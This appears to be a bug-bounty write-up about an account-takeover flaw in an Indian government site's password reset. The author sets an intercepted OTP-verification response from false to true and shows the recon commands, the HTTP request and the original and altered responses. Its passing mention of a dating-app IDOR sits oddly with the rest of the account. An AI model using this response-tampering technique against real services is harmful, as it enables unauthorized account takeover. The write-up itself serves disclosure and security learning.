Account Take Over via Password Reset — India’s Top Central Governement Platform (50k User’s Account…

Last night, while casually poking around a Government application (definitely not trying to swipe right on vulnerabilities), curiosity kicked in. A few harmless parameter tweaks later… and suddenly, I wasn't just reading my own messages anymore.

Turns out, the app trusted Forgot Password Function is more than it should.

ATO on Password Reset Leads to Full Account Takeover

A simple logic flaw during password reset can become a complete account compromise.

In this case, changing the server response from false to true during OTP validation allowed attackers to bypass verification entirely and reset any user's password.

Another critical finding involved an IDOR vulnerability in a dating application that exposed private user messages by manipulating request parameters.

No brute force. No advanced exploitation. Just broken access control and weak validation.

What Went Wrong?

Imagine taking over someone's account not by cracking a password, but by changing a single response from false to true.

That's exactly what happened during a password reset flow.

A critical Account Takeover (ATO) vulnerability allowed attackers to bypass OTP validation due to improper server-side verification logic.

By intercepting and modifying the response, it was possible to:

Reset passwords without a valid OTP Take over accounts of other users Completely bypass the intended authentication flow

How I Did is Starting it from Recon!

It all started with Recon — Can you believe it?

1️⃣ Find All Domains & Subdomains amass enum -passive -d target.com -o subdomains.txt

2️⃣ Resolve Live Subdomains cat subdomains.txt | httpx -silent -mc 200,403,401 -o live_subdomains.txt

3️⃣Using Nuclei which is my Best Friend [Blossom Tool] nuclei -l live_subdomains.txt

4️⃣ But, Now Nuclei haven't found this but my eye found it (that's why don't Depend on Automation too much)

"Now Found Login Page"

Logged In!

Mind Start to Transfer my Eyes to Forgot Password

REQUEST (Entering OTP)

POST /sample/otp-verify HTTP/2 Host: api.sample.gov.in Content-Length: 51 Sec-Ch-Ua-Platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Accept: / Sec-Ch-Ua: "Chromium";v="148", "Brave";v="148", "Not/A)Brand";v="99" Content-Type: application/json Sec-Ch-Ua-Mobile: ?0 Sec-Gpc: 1 Accept-Language: en-US,en;q=0.5 Origin: https://www.sample .gov.in Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.sample.gov.in/ Accept-Encoding: gzip, deflate, br Priority: u=1, i

{"email":"sample@gmail.com","code":"111111"}

RESPONSE (Actual Response From Server)

HTTP/2 200 OK Content-Type: application/json;charset=UTF-8 Date: Mon, 01 Jun 2026 04:06:51 GMT Access-Control-Allow-Origin: https://www.sample .gov.in Vary: Origin

{"status":false,"response":null,"message":"OTP generation failed. Multiple requests sent for OTP within 30 sec."}

RESPONSE (Modified Response)

HTTP/2 200 OK Content-Type: application/json;charset=UTF-8 Date: Mon, 01 Jun 2026 04:06:51 GMT Set_cookie_flag: HttpOnly Secure Server: nginx X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Security-Policy: default-src 'self'

{"status":true,"response":null,"message":"OTP generation failed. Multiple requests sent for OTP within 30 sec."}

Bypassed the OTP Functonality

Trying to confirm and Changing the Password

What I Did Next (The Ethical Way)

Instead of abusing the access or ignoring the issue, I:

Responsible disclosed the ATO vulnerability to the application's security team.
Clearly demonstrated how broken object-level authorization allowed access to other users' private messages.
Worked with the team to validate the impact, ensuring the issue was patched and proper access controls were enforced.

Finally a Note From Cert-In